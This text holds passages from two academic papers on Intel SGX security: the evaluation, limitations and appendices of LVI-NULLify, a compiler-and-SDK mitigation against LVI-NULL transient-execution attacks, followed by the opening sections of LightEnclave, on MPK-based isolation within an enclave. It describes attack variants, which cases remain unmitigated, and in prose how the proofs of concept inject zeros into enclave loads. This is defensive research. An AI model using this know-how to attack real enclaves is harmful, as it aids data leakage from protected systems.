signature [12]. Additionally, enclave memory cannot be mod-
ified from outside, so each enclave contains an ELF loader
to resolve any relocations during the initialization phase. A
disadvantage of this is that the page flags cannot be changed
after the enclave is instantiated. Therefore, pages containing
absolute relocations must remain writable at runtime, even
if they contain text sections. Pages that are writable and exe-
cutable are a traditional security concern. While the enclave
signer issues an error message if it finds such text absolute
relocations, this error can be suppressed. Therefore, keeping
the original page flags without making pages writable is a
design goal of LVI-NULLify.
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Since we do not need absolute address relocations when
using the GS segment to specify the image base, we fully
replace these absolute relocations. We build an additional
tool to change the relocation types directly in the object files
after compilation. LVI-NULLify does not enforce additional
requirements on the build environment by reusing the existing
relocation types instead of implementing a new one for GS-
relative addressing.

The compiler extension emits R_X86_64_x absolute relo-
cations as part of the code generation. We then iterate over
the generated ELF object file and exchange these absolute re-
locations with the R_X86_64_COPY relocation type. The copy
relocation type fills in the relocation destination with the sym-
bol’s offset from the image base, exactly what is needed for
the GS-relative addressing. The copy relocation’s addend is
set to the difference between the GS-base and the real enclave
base to implement the additional pages in front of the enclave
(see Section 5.1.2 and Figure 2), i.e., shifting the address of
the relocated symbol.

5.3.2 SGX-SDK and SGX-PSW

For LVI-NULLify to work, some changes to the SGX-SDK
and the SGX-PSW are required. The changes detailed here
are made mostly to the enclave-loading mechanism and for
automated pointer conversion between enclave and host ap-
plication.
SGX-PSW. The SGX-PSW is used globally for loading
all enclaves. For LVI-NULLify, the PSW has to set the GS
segment in the thread-control-structure template (see Sec-
tion 5.1.1). This template is used for creating threads inside
the enclave, and is used for the attestation process. Hence, the
same changes are also required in the SGX signer. We ensure
backward compatibility with enclaves that are not protected
by LVI-NULLify by indicating the use of LVI-NULLify in
the enclave signature structure. Hence, the PSW only modi-
fies the GS segment if LVI-NULLify was used for building
the enclave.
SGX-SDK. Most changes in the SDK affect the ECALL and
OCALL interface. With LVI-NULLify, the enclave and the
host application basically operate in different virtual address
spaces. Hence, the ECALL and OCALL interface have to
apply pointer conversion. On enclave entry, the GS segment
is automatically set by the ENCLU instruction. We modify
the enclave_entry function to convert the stack pointer, the
base pointer, and the pointer to the structure used to pass ad-
ditional data into the enclave. Some minor changes also adapt
the elf loader inside the enclave for GS-relative addressing, as
some of the supported relocation types refer to the absolute
enclave base.

In the SGX-SDK, the edger8r application is responsible
for parsing the enclave interface definition file and generating
the trusted and untrusted part of the enclave interface. To
ensure the enclave can use pointers passed to an ECALL

implementation without manual modification of the code,
we modified the edger8r application for the code generation
of the trusted enclave API. As this parser already has all
the information about functions and their parameter types, it
can automatically generate code for converting pointers from
absolute pointer addresses to GS-relative addresses. Thus,
all the default cases of passing pointers into an ECALL or
OCALL are handled automatically.

The enclave definition language also allows the definition
of data structures for ECALLs and OCALLs. These struc-
tures can be automatically copied into the enclave memory,
but nested structures or structures containing additional data
over pointers must be copied by hand from the enclave devel-
oper [20]. Hence, we also leave pointer conversion for such
data types to the enclave developer.

6 Evaluation

6.1 Security Evaluation
For the security evaluation, we first perform a theoretical
analysis of all variants in the context of our mitigation. Addi-
tionally, we also evaluate our own proofs of concept demon-
strating LVI-NULL (see Appendix C). All experiments are
run on an Intel Core i5-10210U Comet Lake that is vulnera-
ble to LVI-NULL but not to LVI. In all of our experiments,
LVI-NULLify successfully prevents all targeted variants of
LVI-NULL.
Variant 1 , direct jumps. If the target of a jump instruction,
such as call or jmp, is loaded from memory, it can be zeroed
using LVI-NULL. As a result, transient execution continues at
address 0x0, which is either outside the enclave, and therefore
not executable in the context of SGX, or on the first page of
the enclave, which is also not executable as ensured by the
SDK. This behavior stays the same with LVI-NULLify, and
is thus not exploitable.
Variant 2 , indirect jumps. When the first of the two loads
in an indirect jump is zeroed, the jump target is read from
address 0x0, plus potentially an offset used in the indirect-
jump instruction. This is, e.g., the case for an entry in a vtable
(cf. Section 4.2). Without LVI-NULLify, this address points
to the virtual address 0x0+offset. This address can be outside
of the enclave and thus under attacker control.

With LVI-NULLify, the load is performed with GS base,
which ensures that the address is inside the enclave. As a
number of pages (that depend on the largest such offset in
the enclave) directly after GS base are non-readable, the ad-
dress load stalls, and no jump occurs. Since function offsets
can generally be determined at compile time, the required
number of buffer pages can be reported by the compiler. An
example would be finding the maximum number of entries
in a vtable. This does not consider programs that use ‘manu-
ally’ constructed jump tables. While in rare cases, a dynamic
offset could be large enough to reach beyond the allocated
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Figure 4: Mean runtime overhead in sgx-nbench [58] on our i5-10210U@1.6GHz of LVI-NULLify vs. Intel’s control-flow and
optimized-cut mitigations as well as SESES. N=50, standard deviations vs unmitigated mean plotted, but too small to be visible.

buffer pages, e.g., when manually constructing dynamic jump
tables, most cases are prevented, and the remaining rely on
very specific circumstances. Hence, we consider this variant
mitigated.
Variant 3 , transient stack. As shown by Van Bulck et al.
[60], function epilogues that load the value of the stack pointer
from memory and return can be exploited to transiently use
the null page as the stack by zeroing the load. This attack
allows for arbitrary code redirection using transient return-
oriented programming. LVI-NULLify replaces the return in-
struction (ret) with a GS-relative load and jump (cf. Figure 3).
As a result, mounting an LVI-NULL attack moves the tran-
sient stack to a non-readable page within the enclave. This
prevents the transient stack attack, as long as the enclave
developer does not actively try to circumvent that, e.g., by
loading the stack pointer with an indirect load instruction
using a very large offset.
Variant 4 , branches. For regular branches, LVI-NULL be-
haves very similar to Spectre-PHT and are thus out of scope
for LVI-NULLify. Developers can mitigate them with specula-
tive load hardening if they choose. As discussed in Section 4.1,
switch constructs represent a special case of branches, as they
can be implemented as a jump table. Without mitigations,
execution can be redirected to case ‘0’, which may also be the
default case. LVI-NULLify places an lfence instruction in
the affected case, thereby mitigating it. As the deciding vari-
able may depend on more than one memory load, we consider
this variant only partially mitigated.
Variant 5 , direct load. All data loads are still susceptible to
direct ‘0’ injection with our mitigation. Thus, an attacker can
use LVI-NULL for data-only attacks, e.g., as shown for AES-
NI [60]. Since exploitability highly depends on the victim
algorithm, mitigation is left to the enclave developer. Crypto-
graphic libraries need to consider different side channels in
their implementation already. Variant 5 becomes one more
issue on this list. We therefore consider it out of scope for
LVI-NULLify.
Variant 6 , indirect load. When values are loaded indirectly,
i.e., by loading the target address from memory, arbitrary val-
ues can be injected when the first load is zeroed. Similar to
2 , values are loaded from address 0x0 with a possible offset.

With LVI-NULLify, the now GS-relative load ensures that
this load is inside the enclave’s address space. If the offset
falls within the non-readable pages at the beginning of the
enclave, arbitrary value loading is prevented. Again, offsets
are dependent on the program, and most can be statically de-
termined at compile time, which allows adjusting the number
of buffer pages accordingly in the compiler. Dynamic arrays
of unknown size may still produce transient loads that reach
into the enclave memory itself. In these cases, non-zero data
injection may still occur. Because most cases are prevented,
and the remaining rely on very specific circumstances, we
consider this variant mostly mitigated.

All told, our analysis suggests that LVI-NULLify prevents
the majority of LVI-NULL variants and cases at a significantly
lower performance impact than Intel’s optimized-cut solution,
not to mention SESES. Additionally to this reasoning, we also
evaluated our claims with proof-of-concept implementations
of the attack variants. Where our proofs of concept were
successful without LVI-NULLify, enabling it prevents leakage
in all cases.

We have no indication whether the discussed remaining
vulnerabilities occur in real-world code. However, C and C++
grant developers vast freedom to implement features in non-
standard ways (e.g. manual jump tables for 2 that our com-
piler extension is unaware of) which we would not catch
and, thus, not mitigate. Therefore, our mitigation bridges the
gap between the very expensive optimized-cut mitigation and
the less secure control-flow mitigation. When enclaves are
not subject to one of the described caveats, our mitigation
provides the same level of security as the optimized-cut miti-
gation at much lower performance cost.

6.2 Performance Evaluation

For the performance evaluation, we first investigate the num-
ber of emitted instructions, i.e., the number of lfences and
GS-relative loads, of LVI-NULLify and Intel’s control-flow
and optimized-cut mitigations as well as SESES(cf. Sec-
tion 4.5 and Appendix B). Our expection is that the number
of lfence instructions has a direct and significant impact
on the performance while GS-relative loads provide better
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performance. We substantiate this by benchmarking SGX
applications with all of the above mentioned mitigations.

In line with previous work [10, 15, 54, 56, 67, 72], we
evaluate the performance of our mitigation based on SGX
benchmarks written in C/C++, the nbench adaptation for
SGX [15, 58] and SGXBENCH [48]. As our mitigation is
highly specialized for the SGX environment, we can only
benchmark SGX enclaves, preventing us from measuring the
compiler-introduced overhead for regular benchmarks, such
as the SPEC benchmarking suite.

In our setup, we build enclaves with clang 11 and opti-
mization level O3. As the optimized-cut mitigation by default
does not mitigate the enclave entry assembly, it was compiled
with the experimental mitigation for assembly to provide a
better comparison with our mitigation in SGXBENCH, which
measures enclave-entry performance. We evaluate on an Intel
Core i5-10210U (1.6GHz, Comet Lake) and an Intel Core
i9-9900K (3.5GHz, Coffee Lake-R). While the i9-9900K is
also affected by LVI, it serves as a reference for workstation
performance, compared to the mobile Comet Lake. Moreover,
this CPU has also been used by Phoronix [38] to benchmark
the overhead of Intel’s LVI mitigations. We provide these
results in Appendix A. All experiments were run on isolated
cores with fixed frequencies to reduce the variance of the
measured values.

6.2.1 Analysis of Emitted Instructions

Table 2 shows the result for our evaluation of emitted instruc-
tions for the two benchmarks as well as three libraries that are
essential components of SGX. The SESES mitigation issues
the largest amount of lfences, i.e., more than 29 700 for lib-
sgx_tstdc.a, which is to be expected as it simply fences every
memory read and write that it encounters. Intel’s optimized-
cut mitigation improves upon this by removing more than
23 000 lfences. The control-flow mitigation further reduces
this number, down to 1400 lfences, but at the cost of re-
duced security as it does not mitigate all loads. None of these
three mitigations issue a significant number of GS-relative
loads, i.e., 6 at most. Contrary to the other mitigations, LVI-
NULLify issues the lowest amount of lfence instructions
but the highest amount of GS-relative loads. This change
in behavior significantly improves the performance, as our
subsequent performance evaluation of the benchmarks shows.

Naturally, due to LVI-NULLify replacing certain instruc-
tions with a longer sequence of secure instructions (cf. Fig-
ure 3), we expect the binaries that LVI-NULLify generates to
be larger than for the Intel mitigations. As Table 2 shows, this
is indeed true: in the worst case, we see an increase of 21.5%
over the unmitigated baseline.

Software
LVI-NULLify

LFENCE / GS / KB
control-flow

LFENCE / GS / KB
optimized cut

LFENCE / GS / KB
SESES

LFENCE / GS / KB
nbench 37 / 11433 / 224(+19%) 319 / 6 / 192(+2%) 3289 / 6 / 200(+7%) 13780 / 6 / 233(+24%)

sgxbench 55 / 4323 / 113(+22%) 231 / 6 / 93(+0%) 1274 / 6 / 97(+4%) 5229 / 6 / 109(+18%)

libsgx_trts.a 4 / 1483 / 109(+10%) 105 / 6 / 102(+3%) 591 / 6 / 104(+5%) 1872 / 6 / 108(+9%)

libsgx_tstdc.a 0 / 23356 / 1322(+3%) 1400 / 0 / 1367(+7%) 6188 / 0 / 1383(+8%) 29754 / 0 / 1454(+13%)

libsgx_tcxx.a 1 / 14916 / 799(+10%) 812 / 0 / 722(-1%) 3353 / 0 / 730(+0%) 17818 / 0 / 775(+6%)

Table 2: We show the number of lfence and GS-relative in-
structions the different mitigation techniques insert and the
overall file size in kB (and its change to baseline) for a selec-
tion of software, including benchmarks and SGX components.

6.2.2 nbench

The relative performance overhead shown in Figure 4 clearly
demonstrates that the strong LVI-NULL mitigation provided
by LVI-NULLify comes in at or even below the cost of In-
tel’s control-flow-mitigation, which only covers variants 2
and 3 . Table 3 contains the benchmark’s raw results in it-
erations per second. We also see that some of the tests, like
String Sort and Bitfield, operate almost entirely on reg-
isters, s.t. the overheads do not represent the differences of
the mitigations very well. Memory heavier benchmarks like
FP Emulation, on the other hand, clearly demonstrate the ad-
vantage of our mitigation vs. Intel’s optimized-cut mitigation.
Here we achieve an overhead reduction of 1216 percentage
points. As this overhead is more in line with the original re-
sults by Van Bulck et al. [60] and Phoronix [38], we consider
this to better represent the difference between the mitigations.
We also note some benchmarks where LVI-NULLify per-
forms better than the unmitigated reference. We consider this
an artifact of cache alignment or similar effects specific to
this benchmark and not representative of our mitigation.

6.2.3 SGXBENCH

When compiling the SGXBENCH [48] suite, we found that
some loads in the benchmarks are not fenced by Intel’s
optimized-cut mitigation. For benchmarks that copy memory,
this makes the comparison to our mitigation rather uninterest-
ing, as tests show very similar performance. The results for a
selection of benchmarks are listed in Appendix A. Two of the
benchmarks still provide a useful comparison, einit/edestroy
and empty ocall. They show that at ≈ 0.17% and ≈ 3.3% lower
performance, respectively, our mitigation does not introduce
any significant slowdown for this basic enclave functionality.

7 Discussion and Limitations

Hardware and Microcode Changes. Ultimately, LVI and
LVI-NULL have to be mitigated in silicon, as we can al-
ready see from CPUs that are not affected by any LVI variant.
However, as it is infeasible to replace all affected CPUs, an
intermediate solution compatible with affected CPUs is nec-
essary. Van Bulck et al. [60] suggested the possibility of a
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Test/Mitigation none (σ) LVI-NULLify (σ) control-flow (σ) optimized cut (σ) SESES (σ)
NUMERIC SORT 723.69 (0.181) 718.67 (0.093) 722.15 (0.061) 317.23 (0.018) 100.73 (0.008)
STRING SORT 70.46 (0.003) 70.01 (0.005) 69.43 (0.003) 67.11 (0.002) 2.51 (0.000)
BITFIELD 316 550 164 (165 589) 313 635 987 (102 467) 317 587 729 (228 815) 316 548 172 (411 084) 46 990 509 (1326)
FP EMULATION 30.17 (0.002) 28.77 (0.009) 23.12 (0.002) 2.28 (0.000) 2.29 (0.000)
FOURIER 23 851.98 (7.853) 21 896.10 (12.773) 13 180.42 (3.819) 10 228.70 (2.137) 3499.27 (0.086)
ASSIGNMENT 41.72 (0.013) 40.39 (0.004) 40.36 (0.003) 5.32 (0.000) 2.78 (0.000)
IDEA 7257.17 (0.529) 7088.14 (0.759) 6419.30 (20.861) 2254.47 (0.311) 704.18 (0.060)
HUFFMAN 2335.15 (0.314) 2131.65 (1.249) 2329.53 (0.474) 578.78 (0.061) 288.48 (0.012)
NEURAL NET 66.20 (0.027) 63.98 (0.056) 42.01 (0.024) 38.37 (0.004) 4.26 (0.000)
LU DECOMP 1467.54 (0.780) 1406.82 (0.351) 955.22 (0.434) 631.33 (0.129) 92.75 (0.003)

Table 3: Average performance in sgx-nbench [58] on i5-10210U@1.6GHz of our GS mitigation vs. Intel’s control-flow and
optimized-cut mitigations as well as SESES. Clang 11 was used for all tests. Iterations/s, higher is better. N=50

microcode update that simply marks the null page uncachable.
However, we identified several problems with this approach.

First, transient loads from an uncachable page can pick up
values from the line-fill buffer [41, 52]. With hyperthreading
enabled, clearing the line-fill buffer on enclave entry and exit
is then also not sufficient.

Second, we experimentally verified that the operating sys-
tem can change the memory type of enclave pages. Hence, a
malicious operating system could change the memory type
of the null page to cachable. Only if there is a method to lock
entries in the TLB, SGX could ensure that the TLB entry
for the null page stays in the TLB, preventing the operating
system from changing the memory type.

Hence, we conclude that microcode mitigations are not
as simple as assumed. The fact that there is no microcode
update for any CPU to prevent LVI-NULL also indicates that
microcode mitigations might not be possible.
Limitations. While LVI-NULLify conceptually prevents
most variants of LVI-NULL, our technical implementation is
currently limited by a few factors. Some of these limitations
can be solved using additional engineering effort, while others
can be solved directly by the enclave developer.

Most limitations are due to our proof-of-concept compiler
transformation pass. The transformation pass currently uses a
machine function pass to apply LVI-NULLify. However, as
assembly is not handled by this machine function pass, we
currently cannot directly patch inline assembly or assembly
files automatically.

The remaining limitations are due to the pointer conversion
between enclave and host application. While all the cases
where the enclave developer adheres to best practice and
the strict interface definitions are supported, there are corner
cases that cannot be supported in an automated way, e.g., if the
pointer is hidden behind an unknown type and reinterpreted
by the developer.

8 Conclusion

In this paper, we presented a novel, lightweight defense
against LVI-NULL in SGX. Based on a systematic analysis of

LVI-NULL variants, we identified the attack requirements and
discovered that previous mitigations targeting LVI-NULL are
not effective. Our mitigation, LVI-NULLify, addresses this
problem by repurposing segmentation to offset every load dur-
ing enclave execution. LVI-NULLify consists of a modified
SGX-SDK and a compiler extension that we open source. We
evaluated LVI-NULLify on LVI-fixed CPUs and observed a
performance overhead below 10% for the worst case, which is
substantially lower than previous defenses. We conclude that
LVI-NULLify is a practical solution to protect SGX enclaves
on processors that remain susceptible to LVI-NULL.
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A Benchmarking results

In addition to our LVI-NULL-only affected Comet Lake CPU,
we also provide benchmark overheads for the older i9-9900K
Coffee Lake CPU in Figure 5. We can see that while their
are some differences, the relative performances between the
mitigations is roughly the same on this desktop CPU as it is
on the mobile i5-10210U.

Table 4 shows the execution times for various SGXBENCH
benchmarks on our Comet Lake i5-10210U.

B Sample Compilation Options for Mitiga-
tions

Control-flow Mitigation:
clang-lvi-cfi -mlvi-cfi
-Iclang-lvi-cfi/sgxsdk/include
-Iclang-lvi-cfi/sgxsdk/include/tlibc -fpic -O3
-nostdinc -fvisibility=hidden -fstack-protector
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Figure 5: Mean performance overhead in sgx-nbench [58] on our i9-9900K@3.5GHz of LVI-NULLify vs. Intel’s control-flow
and optimized-cut mitigations as well as SESES. Clang 11 was used for all tests. N=50, standard deviations w.r.t. baseline mean
are plotted, but too small to be visible.

Test/Mitigation none (σ) LVI-NULLify (σ) control-flow (σ) optimized cut (σ) SESES (σ)
empty function 37072.3 (2655.0) 37660.3 (1878.0) 37349.9 (1832.2) 39015.5 (1701.7) 42612.8 (3325.2)
empty ocall 14496.6 (1151.5) 14980.8 (1096.3) 14735.5 (1146.6) 16052.1 (1080.8) 15995.6 (995.6)
ocall in/out 15651.8 (835.7) 16433.0 (809.6) 16236.2 (702.1) 17510.5 (819.4) 23309.8 (1023.8)
encrypted read 14884.4 (756.5) 15228.5 (843.2) 14984.3 (758.9) 16429.6 (799.8) 21868.8 (966.6)
encrypted write 14720.8 (799.7) 15279.9 (827.8) 14989.7 (740.8) 16507.6 (779.2) 21866.2 (967.0)
einit/edestroy 141845200.9 (793624.2) 142087389.7 (849561.9) 142354110.9 (841980.8) 142506399.6 (798824.8) 142649039.2 (827876.1)

Table 4: Runtime of the SGXBENCH benchmarks on an i5-10210U@1.6GHz in cycles. Lower is better. N=1000000 for all
except eint/edestroy where N=1000

-fpic -c Enclave.c -o Enclave.o
SESES Mitigation:
clang-lvi-seses -mseses
-Iclang-lvi-seses/sgxsdk/include
-Iclang-lvi-seses/sgxsdk/include/tlibc
-fpic -O3 -nostdinc -fvisibility=hidden
-fstack-protector -fpic -c Enclave.c -o
Enclave.o
Optimized-Cut Mitigation:
clang-lvi-opt -mlvi-hardening -mllvm
-x86-lvi-load-opt-plugin=OptimizeCut.so -mllvm
-x86-experimental-lvi-inline-asm-hardening
-Iclang-lvi-opt/sgxsdk/include
-Iclang-lvi-opt/sgxsdk/include/tlibc -fpic -O3
-nostdinc -fvisibility=hidden -fstack-protector
-fpic -c Enclave.c -o Enclave.o

C LVI-NULL POC Implementation Details

In addition to LVI-NULLify, the relevant proofs of concept
can also be found in our repository at https://github.com/
IAIK/LVI-NULLify/.

For attacks on SGX, an attacker would typically use a
framework like SGX-Step [62] to interfere with a victim en-
clave at more or less precise points. For our POCs however,
we can use a more cooperative approach, which simplifies the
code and imitates a very strong attacker. Right before vulner-
able loads in our victim, we OCALL to the attacker who then
removes the accessed bit from our target page. This reliably
causes 0 to be injected into the next loads from this page,
triggering our LVI-NULL attacks. We can then measure rates
of leakage via a transmission gadget; in our case an access to
a page outside the enclave.

When we compile with LVI-NULLify, we see that all leak-
age is completely prevented.
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Abstract
The monolithic programming model has been favored for

high compatibility and easing the programming for SGX en-
claves, i.e., running the secure code with all dependent li-
braries or even library OSes (LibOSes). Yet, it inevitably
bloats the trusted computing base (TCB) and thus deviates
from the goal of high security. Introducing fine-grained iso-
lation can effectively mitigate TCB bloating while existing
solutions face performance issues. We observe that the off-the-
shelf Intel MPK is a perfect match for efficient intra-enclave
isolation. Nonetheless, the trust models between MPK and
SGX are incompatible by design. We hence propose LIGHT-
ENCLAVE, which embraces non-intrusive extensions on exist-
ing SGX hardware to incorporate MPK securely and allows
multiple light-enclaves isolated within one enclave. Experi-
ments show that LIGHTENCLAVE incurs up to 4% overhead
when separating secret SSL keys for server applications and
can significantly improve the performance of Graphene-SGX
and Occlum by reducing the communication and runtime
overhead, respectively.

1 Introduction

Trusted execution environment (TEE) has been a hot topic
for both the architecture and security community over the
past decade [3, 9, 14, 16, 26, 30, 37, 42]. Intel SGX enclave, a
widely-deployed TEE, can enhance both confidentiality and
integrity for user-level code/data against untrusted software,
including the privileged operating system and hypervisor, and
becomes promising protection for secret data processing on
the public clouds [17, 19, 31, 32, 39, 44].

To enable SGX-based secret processing for developers,
the official Intel SGX SDK [33] requires all libraries to be
explicitly statically-linked within an enclave image. All the
code and the secret data share the same address space, form-
ing a large TCB. Another favored programming model is
SGX-oriented LibOS [17, 19, 31, 49, 53, 55] which loads un-
modified binaries into the enclave for ease of development.

LibOSes also provide in-enclave system services (e.g., user-
level scheduling [17], in-memory filesystem [31]). However,
any vulnerabilities (for example, HeartBleed [25]) may tam-
per with the control flow of the enclave program and can
even lead to secret breaches. The root cause is that Intel SGX
enclave adopts a monolithic model which bloats the TCB.

To mitigate this problem, prior efforts have deconstructed
a program into different independent enclaves [29, 31, 54].
Unfortunately, this choice introduces significant overhead due
to secret transfer across enclave boundaries. Hence, intra-
enclave isolation is explored by [15, 47, 51, 53]. However,
these approaches encounter issues on either (in)flexibility or
(in)efficiency. Some [15, 51, 53] instrument enclave memory
access instructions to enforce bound checks and thus establish
isolated domains within an enclave. Instrumentations cause
non-negligible runtime overhead and enlarge the code size
that can harm the locality. Moreover, their isolated domains
must be contiguous in memory to make the bound checks fea-
sible. New hardware proposals such as Nested Enclave [47]
refrains from the above issues by modifying hardware to
support inner and outer enclaves. Nevertheless, the overhead
across inner-outer boundaries is still expensive.

This work aims at achieving intra-enclave isolation with
both efficiency and security. We find that Intel MPK, an off-
the-shelf hardware feature for partitioning an address space
into multiple memory domains, can be a natural fit to facilitate
intra-enclave isolation.
Challenges. Although applying MPK for SGX is a promis-
ing approach to efficiency because MPK incurs nearly zero
overhead for memory access validation and both of them work
in the user-level, it poses several security challenges. On the
one hand, MPK requires trusting the underlying OS to faith-
fully configure the page table with correct domain IDs, which
involves a conflict trust model against SGX. An untrusted
OS can easily modify the domain-IDs or disable the MPK
check to violate the isolation. On the other hand, MPK pro-
visions the user-level instruction WRPKRU for changing the
domain access permission. A compromised entity within the
enclave may exploit this to bypass the intra-enclave isolation.
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Thereby, the core technical challenge is how to securely use
MPK within an SGX enclave for intra-enclave isolation while
facing the untrusted OS (manipulating the page table) and
malicious/compromised entities in the enclave (manipulating
the domain access permission).
Our proposal. We propose a hardware-software co-design,
LIGHTENCLAVE, for secure and efficient intra-enclave iso-
lation. It provides a lightweight and flexible abstraction of
light-enclave and allows constructing multiple isolated light-
enclaves within one SGX enclave. It includes non-intrusive
hardware extensions to solve the trust model conflict between
SGX and MPK, and provides a friendly programming model
compatible with existing development processes. The OS re-
tains its capability of configuring MPK domain-ID in the page
table while being deprived of the ability to arbitrarily modify
the MPK configuration since the extended SGX hardware
will validate the domain-ID during both initialization and
runtime. With LIGHTENCLAVE, enclave developers can as-
sign different memory domains to different light-enclaves and
enforce the privilege separation. To prevent a light-enclave
from escalating its own privilege (e.g., by abusing WRPKRU),
LIGHTENCLAVE combines binary inspection and carefully-
designed light-enclave-gates.

LIGHTENCLAVE has the following advantages:

• Compared with traditional multi-enclave isolation [29, 31,
54]: LIGHTENCLAVE provides more efficient communica-
tion. Control flow transfers are through lightweight light-
enclave-gates instead of exiting/reentering hardware en-
claves. Data sharing leverages secure shared domain rather
than data re-encryption through unprotected memory.

• Compared with the instrumentation-based approaches [15,
51, 53]: LIGHTENCLAVE utilizes hardware-enforced do-
main permission check instead of bounds checking, which
incurs nearly zero overhead for memory isolation and im-
poses no requirement of continuous domain region.

• Compared with the pure-hardware approach [47]: LIGH-
TENCLAVE is more flexible owing to hardware-software
co-design. The underlying hardware offers the mechanism
of partitioning enclave domains while software manages a
flexible abstraction of light-enclave. Light-enclaves can be
either mutually-distrusted or hierarchical.

As SGX is not open source, we validate the hardware ex-
tensions of LIGHTENCLAVE on the official SGX emulator
(Intel SGX SDK simulation-mode) [33] except one added
check on enclave memory access since the emulator does not
emulate it (one limitation of our work). We implement the
software designs of LIGHTENCLAVE and apply them to two
state-of-the-art SGX LibOSes, Graphene-SGX [55] and Oc-
clum [53]. Similar to [39, 47], we conducted the performance
evaluation on the real SGX machine by adding the estimated
performance overhead of our hardware proposal since the
emulator shows much better performance than the real SGX
due to no emulation of the memory encryption engine. For

Graphene-SGX, LIGHTENCLAVE achieves 10.5× speedup
for CPU-intensive workloads and 46.5× for multi-tasking
intensive workloads; For Occlum, the speedups are 1.49×
and 1.28×, respectively. Besides accelerating SGX LibOSes,
LIGHTENCLAVE can provide higher security for server ap-
plications by deconstructing them into components for isolat-
ing untrusted ones, which incurs less than 4% overhead. For
privacy-preserving serverless applications, LIGHTENCLAVE
decreases the latency by 50% to 77% for on-demand function
startups.
Contributions. (1) A proposal of hardware extensions for
how to securely use MPK in an SGX enclave. (2) An easy-to-
use abstraction named light-enclave for intra-enclave isola-
tion. (3) A preliminary evaluation to show LIGHTENCLAVE’s
performance benefit in different cases.

2 Background

2.1 Intel SGX
SGX protects user-level code/data by providing hardware-
enforced trusted execution environments dubbed enclaves.
Secure memory. SGX reserves some DRAM as secure mem-
ory called Enclave Page Cache (EPC) for storing enclave
memory pages. CPU tracks the metadata of each EPC page
through Enclave Page Cache Map (EPCM). EPCM also re-
sides in the secure memory, holds one entry for each EPC
page, and each entry contains the read, write, execute permis-
sion, the mapped virtual address, the owner enclave, etc. For
enclave memory accesses, memory management unit (MMU)
will check not only the page table information but also the
EPCM information (e.g., an EPC page can only be accessed
by its owner enclave).
Enclave creation. Enclave creation instructions are priv-
ileged and thus are executed by the OS. Since SGX does
not trust OS, CPU records a measurement during an enclave
creation. ECREATE instruction creates an enclave’s SECS
which contains the enclave metadata and is located in EPC.
EADD instruction adds one EPC page to the enclave. When
executing EADD, an argument structure named PAGEINFO
is needed for provisioning information like the page content
and permission. EINIT finishes the creation. A remote user
can ask for the enclave measurement and use the attestation
service to examine the enclave construction.
Enclave execution. A thread executes unprivileged EENTER
or EEXIT instructions for entering or exiting from the enclave,
respectively. When entering the enclave, a thread exclusively
occupies an enclave TCS (one EPC page) which designates
one fixed entry point and the State Save Area (SSA) for the
execution. The enclave execution can be interrupted by ex-
ceptions or interrupts. If so, CPU performs Asynchronous
Enclave Exit (AEX) which saves the execution context into
the SSA within the enclave, scrubs the context, etc. The en-
clave execution can be restored by ERESUME instruction. In

3130    31st USENIX Security Symposium USENIX Association



SGXv2, dynamic enclave memory management is allowed.
An EPC page can be added to a running enclave through the
cooperation of the enclave and the OS: the OS executes EAUG
instruction for adding one page, and then the enclave executes
EACCEPT or EACCEPTCOPY instruction for finishing the
adding procedure.

2.2 Intel MPK
MPK and memory domains. MPK allows an application
to partition its virtual address space into 16 different memory
domains. Each memory page can be associated with a 4-bit
domain-ID by storing it in four previously reserved bits of the
corresponding page table entry.
MPK register and instructions. There is a per-core register
named PKRU which specifies the access permission (read-
only, read-write, none) to different domains for the CPU core.
The register has 32 bits, and every two bits represent the access
permission to one domain. Two unprivileged instructions,
WRPKRU and RDPKRU, can be used to modify and read
PKRU, and both usually take less than 30 CPU cycles [28,48,
56]. MMU transparently enforces the MPK checks that incur
almost zero runtime overhead. Besides, MPK has no effects
on the execution permission of memory pages, even if PKRU
forbids the read permission.
MPK interaction with SGX. MMU supports applying MPK
domain permission checks to enclave memory accesses in
addition to original SGX memory permission checks. The
PKRU register can also be automatically saved during AEX
and restored by ERESUME.

3 Overview

SGX provides trusted execution environments called enclaves
in an application’s address space to protect security-sensitive
code/data. To minimize the code-refactoring efforts and avoid
the performance penalties caused by the decomposition of ap-
plications, there is a popular programming trend that running
the whole application with the third-party libraries [17,33,54]
and even a library OS [19, 31, 55] inside a single SGX hard-
ware enclave, which, however, bloats the TCB and endangers
sensitive code/data. For example, once a third-party library
containing vulnerabilities is imported into an enclave, attack-
ers may leverage the vulnerabilities to tamper with the in-
tegrity and even confidentiality of the enclave.

We propose LIGHTENCLAVE, which brings MPK-based
intra-enclave isolation to an SGX enclave, to isolate secure-
sensitive code/data from untrusted ones. Specifically, it sup-
ports building multiple light-enclaves within one hardware
enclave, as depicted in Figure 1.
Light-enclaves. LIGHTENCLAVE can partition the enclave
memory into different memory domains by marking the
(MPK) domain-IDs in the page table entries of enclave pages.
A light-enclave can exclusively occupy one memory domain,
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Figure 1. LIGHTENCLAVE supports constructing multiple
mutual-distrusted light-enclaves within an SGX enclave.

named private domain, to store its private data, e.g., light-
enclave-A and light-enclave-B take domain-1 and domain-
2, respectively. By default, a light-enclave only has the ac-
cess permission of its private domain, which means different
light-enclaves are mutually distrusted. Nonetheless, LIGHT-
ENCLAVE also allows one light-enclave to have a higher priv-
ilege than another, i.e., one light-enclave can access the other
one’s private domain but not vice versa. LIGHTENCLAVE
accommodates a light-enclave’s data, stack, and heap in its
private domain while placing its code in domain-0. A light-
enclave can never acquire the access (read/write) permission
of domain-0 and thus cannot modify the code. However, it can
execute the code in domain-0 normally since the MPK domain
isolation enforces no restriction on the execution permission.
Therefore, the code is execute-only for each light-enclave.

The domain access permission of a light-enclave is its
unique identity. LIGHTENCLAVE ensures that the PKRU reg-
ister always stores its identity during the light-enclave‘s ex-
ecution and thus prevents it from accessing other domains.
Note that LIGHTENCLAVE also deprives light-enclaves of
their ability to illegally modify PKRU. § 5.2 explains how
LIGHTENCLAVE achieves this.
Secure monitor. Each hardware enclave contains a secure
monitor. As its name indicates, the secure monitor is consid-
ered trustworthy and can access all memory domains. Its code
and data are both in domain-0 and thus inaccessible to light-
enclaves. It works as the manager of the hardware enclave
and has responsibilities including creating new light-enclaves
at runtime and dynamic enclave memory management.
Usage model. The abstraction of light-enclave enables pro-
grammers to apply the principle of least privilege in an en-
clave. For example, the secure-sensitive code can run in one
light-enclave while the other libraries are located in another
light-enclave, each light-enclave only having the necessary
permission. By extending the official Intel SGX SDK, LIGH-
TENCLAVE allows programmers to separate code/data into
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different light-enclaves and declare the interfaces between
each other, similar to existing SGX programming. It automati-
cally partitions the enclave memory, merges the light-enclaves
into one hardware enclave, and generates light-enclave-gates
